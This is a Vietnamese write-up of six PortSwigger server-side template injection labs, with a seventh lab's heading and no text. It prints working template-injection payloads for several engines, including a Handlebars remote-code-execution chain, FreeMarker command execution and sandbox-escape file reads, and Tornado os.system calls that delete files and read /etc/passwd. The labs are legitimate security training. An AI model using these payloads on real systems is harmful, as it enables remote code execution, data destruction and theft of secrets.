---
# System prepended metadata

title: SERVER-SIDE TEMPLATE INJECTION WRITE UP
tags: [PortSwigger, Writeup]

---

## 1. Lab: Basic server-side template injection
![](https://hackmd.io/_uploads/BksyOysKh.png)
- Lab này có thể bị khai thác bởi lỗ hổng SSTI vì việc sử dụng ERB template một cách không an toàn, để solve được lab thì em cần phải tìm hiểu về ERB để biết được cách thực hiện được code tùy ý, từ đó xóa file `moracle.txt` từ trang home của Carlos.
- Đầu tiên, ta sẽ xem xét trang web sẽ có lỗ hổng SSTI ở đâu:
![](https://hackmd.io/_uploads/Hk2Dy3sKh.png)
- Trang web này một trang web cơ bản cho phép ta xem các sản phẩm với thông tin chi tiết của sản phẩm đó khi ấn vào View details, nhưng kì lạ ở sản phẩm đầu tiên khi em ấn vào, nó hiện ra dòng thông báo là `Unfortunately this product is out of stock`, hay hơn nữa là dòng thông báo này được truyền vào thông qua URL, vì em đã thử thay đổi thông báo thành `bababooey` và kết quả là:
![](https://hackmd.io/_uploads/S19b4hoFh.png)
- Điều này có nghĩa là em có thể điều chỉnh biến message này tùy theo ý của mình để server có thể hiện ra dòng chữ tương ứng, nhưng mình cần tìm hiểu cách hoạt động của ERB cũng như cách để bypass được template này.
- Trong quá trình tìm hiểu em tìm thấy 2 thứ rất thú vị: ERB(Embedded Ruby) là một dạng template thường được dùng để nhúng Ruby vào một tài liệu HTML, và sử dụng các tag để phân biệt cách sử dụng nó truyền vào.
    + Có 2 tag làm em chú ý: <%= EXPRESSION %> dùng để truyền vào giá trị của một phép diễn tả, và <% CODE %> dùng để thực thi code, không truyền vào được giá trị.
- Sau đó em đưa trang web vào BurpSuite, rồi thử truyền vào payload là `<%= 7 * 7 %>`, vì với tag expression này trang nếu trang web này trả về kết quả của phép tính trên nghĩa là trang web này chứa lỗ hổng SSTI:
![](https://hackmd.io/_uploads/SJLYvRsF2.png)
- Quá tuyệt, giờ em sẽ gọi thằng thực thi code rồi thực thi câu lệnh `ls` để list các file ra xem sao:
![](https://hackmd.io/_uploads/r1wTD0jK2.png)
- Em tìm thấy file morale.txt mà đề bài đề cập đến, tiếp đó em cần phải xóa file này đi, em sẽ sử dụng lệnh rm để xóa file
![](https://hackmd.io/_uploads/ryRvORiK2.png)
![](https://hackmd.io/_uploads/H1IuORsKn.png)

## 2. Lab: Basic server-side template injection (code context)
![](https://hackmd.io/_uploads/rJlBK0it3.png)
- Lab này cũng bị dính lỗ hổng SSTI vì cách sử dụng template Tornado không an toàn, để solve lab em cần tìm hiểu về cách hoạt động của template Tornado rồi tìm hiểu cách thực thi code tùy ý, rồi xóa file morale.txt từ trang home của tài khoản Carlos
- Em có tài khoản của bản thân là: wiener:peter
- Trang web xuất hiện là chứa các chủ đề, khi đó em có thể bình luận và nó sẽ xuất hiện bình luận, nên đầu tiên em đã thử SSTI vào đó, vì template Tornado này dùng để compile code Python nên dấu hiệu sẽ là `{{ 7*7 }}`, nhưng sau khi loay hoay một hồi không được thì em đã đi tìm chỗ khác để khai thác, và chính là chức năng tên hiển thị ở trong phần my account(xem hint :>)
![](https://hackmd.io/_uploads/BkrIy13F3.png)
- Nó cho ta chọn 3 loại, name, first name và nick name, nhưng cái em quan tâm là khi gửi nó sẽ gửi theo dạng là user.name làm em nghi ngờ liệu có thể SSTI vào không, nên em đã thử thêm `{{ 7*7 }}` xem liệu nó có được không:
![](https://hackmd.io/_uploads/HyS7lkhKh.png)
- Vào lại trang web thì nó đang báo lỗi, em đang làm sai ở đâu đó, em nhận ra rằng em đang thiếu dấu ngoặc kết thúc, nên em đã thử thêm 2 dấu ngoặc `}}{{7*7}}` nữa xem sao:
![](https://hackmd.io/_uploads/Bk2ql1hKh.png)
- Tên của em đã đổi thành Peter Wiener49}}, nghĩa là nó đã thực hiện phép tính thành công, đây chính là chỗ khai thác SSTI
- Giờ em cần phải xóa file morale.txt từ trang home của Carlos, để biết đường đến thư mục của Carlos, em sẽ xem tại `/etc/passwd`:
![](https://hackmd.io/_uploads/HyEqZk2th.png)
![](https://hackmd.io/_uploads/BJbJMynYh.png)
- Tên của em đã hiện ra như này, từ đó em biết được đường dẫn đến với trang của Carlos là `/home/carlos`, em sẽ thực hiện payload như sau: `blog-post-author-display=user.name}}{%+import+os+%}{{os.system('rm+/home/carlos/morale.txt')}`
![](https://hackmd.io/_uploads/HydHfyhY2.png)
![](https://hackmd.io/_uploads/B17vG1hF3.png)
- Như vậy, em đã solve được lab

## 3. Lab: Server-side template injection using documentation
![](https://hackmd.io/_uploads/SJBpmknFh.png)
- Lab này cũng bị dính lỗ hổng SSTI, để solve được lab em cần phát hiện ra template engine và thực thi code để xóa file morale.txt từ thư mục home của Carlos
- Em có tài khoản riêng của mình là `content-manager:C0nt3ntM4n4g3r`
- Sau khi đăng nhập với tài khoản là content-manager, em đã thấy chức năng edit template rất khả nghi, nên đã đi xem xem các template nào có ký hiệu là ${} và thử từng cái một, với dấu hiệu đầu tiên là ${7*7} và em đã thành công:
![](https://hackmd.io/_uploads/BkuvsghY2.png)
- Khi thử đến dấu hiệu của template EL là ${2.class} thì nó đã lỗi và hiện ra ảnh, nó báo lỗi ở template "freemarker" 
![](https://hackmd.io/_uploads/B1Motl3Yn.png)
- Nhận định được đây là template freemarker, em đi tìm hiểu và bắt đầu tiến hành SSTI, freemarker là một thư viện của Java dùng để tạo ra các output là chữ như một file HTML
- Để thực thi được code như 'ls' hoặc là 'cat', em đã sử dụng payload: `${"freemarker.template.utility.Execute"?new()("ls")}`
![](https://hackmd.io/_uploads/HJninl3Y3.png)
- Đã xuất hiện file morale.txt, giờ chỉ cần xóa nó là có thể solve được lab rồi
![](https://hackmd.io/_uploads/HyQWax3th.png)

## 4. Lab: Server-side template injection in an unknown language with a documented exploit
![](https://hackmd.io/_uploads/rkEHTe2Y2.png)
- Lab trên cũng đã dính lỗ hổng SSTI, để solve lab em cần phải tìm xem trang web sử dụng loại template rồi tìm cách thực thi code tùy ý mình, từ đó xóa file morale.txt từ thư viện home của Carlos.
![](https://hackmd.io/_uploads/SJ9GCg3K3.png)
- Trang web này hiện chi tiết của các sản phẩm khi ấn vào View details, tuy nhiên khi ấn vào sản phẩm đầu tiên nó đã hiện ra sản phẩm này đã hết hàng, và nó lấy dòng này từ URL nên em đã nghĩ đến việc thực hiện SSTI thông qua url này:
![](https://hackmd.io/_uploads/ryArJW3th.png)
- Khi em thử payload kinh điển: {{7*7}} thì nó đã hiện ra lỗi này, em nhận định đây là template Handlebars, template này sẽ compile template thành các chức năng trong javascript, nên điều em cần tìm giờ là tài liệu về Handlebars
- Quá trình tìm kiếm đưa em đến với kết quả này, em nghĩ payload này sẽ hoạt động:
![](https://hackmd.io/_uploads/HJBZGWnFn.png)
- Em sẽ xóa file morale.txt với payload này, và em đã solve được lab trên:
```js!=
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('rm morale.txt');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
```
![](https://hackmd.io/_uploads/H14SZZnt2.png)
![](https://hackmd.io/_uploads/Hy1vbb3th.png)

## 5. Lab: Server-side template injection with information disclosure via user-supplied objects
![](https://hackmd.io/_uploads/BJPOwN3K2.png)
- Lab này dính lỗ hổng SSTI vì sử dụng cách truyền đối tượng vào một template không an toàn, ta có thể khai thác lỗ hổng này thể thu thập được những thông tin nhạy cảm của trang web. Để solve lab thì ta cần nộp secret key của framwork
- Ta được cấp tài khoản của bản thân: `content-manager:C0nt3ntM4n4g3r`
- Đầu tiên, em sẽ thử SSTI vào phần sửa template để xem template đang được sử dụng là gì, thì khi sử dụng payload `{{7*7}}` thì trang web đã xảy ra lỗi:
![](https://hackmd.io/_uploads/BycXK4ht3.png)
- Em đã xác định được dạng template là Django, nên em bắt đầu đi tìm hiểu và tiến hành thực hiện SSTI trên trang web này. Sau một thời gian thì em đã tìm thấy payload này: 
![](https://hackmd.io/_uploads/HyyOxr2K2.png)
- Sử dụng nó và em đã có secret key của framework
![](https://hackmd.io/_uploads/rydTlHhFh.png)
- Nộp secret_key và em đã solve được lab:
![](https://hackmd.io/_uploads/SkN1bB3Y3.png)

## 6. Lab: Server-side template injection in a sandboxed environment
![](https://hackmd.io/_uploads/BJ7IWShY3.png)
- Lab này sử dụng template Freemarker, nó bị dính lỗ hổng SSTI vì cách xử lý sandbox thiếu an toàn, để solve được lab, em cần phải đọc file my_password.txt từ thư viện home của Carlos và nộp nó
- Em được cấp tài khoản là: `content-manager:C0nt3ntM4n4g3r`
- Sau khi đăng nhập vào tài khoản, em đã thấy chức năng edit template, em đã đi tìm hiểu về Freemaker và thực hiện khá nhiều payload, ví dụ như:
![](https://hackmd.io/_uploads/ryy2wBhYh.png)
- Tất cả đều không được vì dòng **freemarker.template.utility.Execute** đã bị chặn, nên em cần tìm một payload khác, và em đã chọn payload này:
![](https://hackmd.io/_uploads/ryZqLS2F2.png)
- Payload này cho phép đọc nội dung của một file là đưa nó về dạng byte, em đã vận dụng và sử dụng payload với nội dung:
`${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
`
![](https://hackmd.io/_uploads/ry9ewShYn.png)
- Kết quả trả về khá khả quan, em đã cho vào tool để chuyển về dạng text ASCII:
![](https://hackmd.io/_uploads/BkJIvShY3.png)
- Với dòng text: `httesx6064nnojv6prcr`, em đã nộp và solve được lab
![](https://hackmd.io/_uploads/H1IuDrhK3.png)
 
## 7. Lab: Server-side template injection with a custom exploit
![](https://hackmd.io/_uploads/S1s-jH3K3.png)
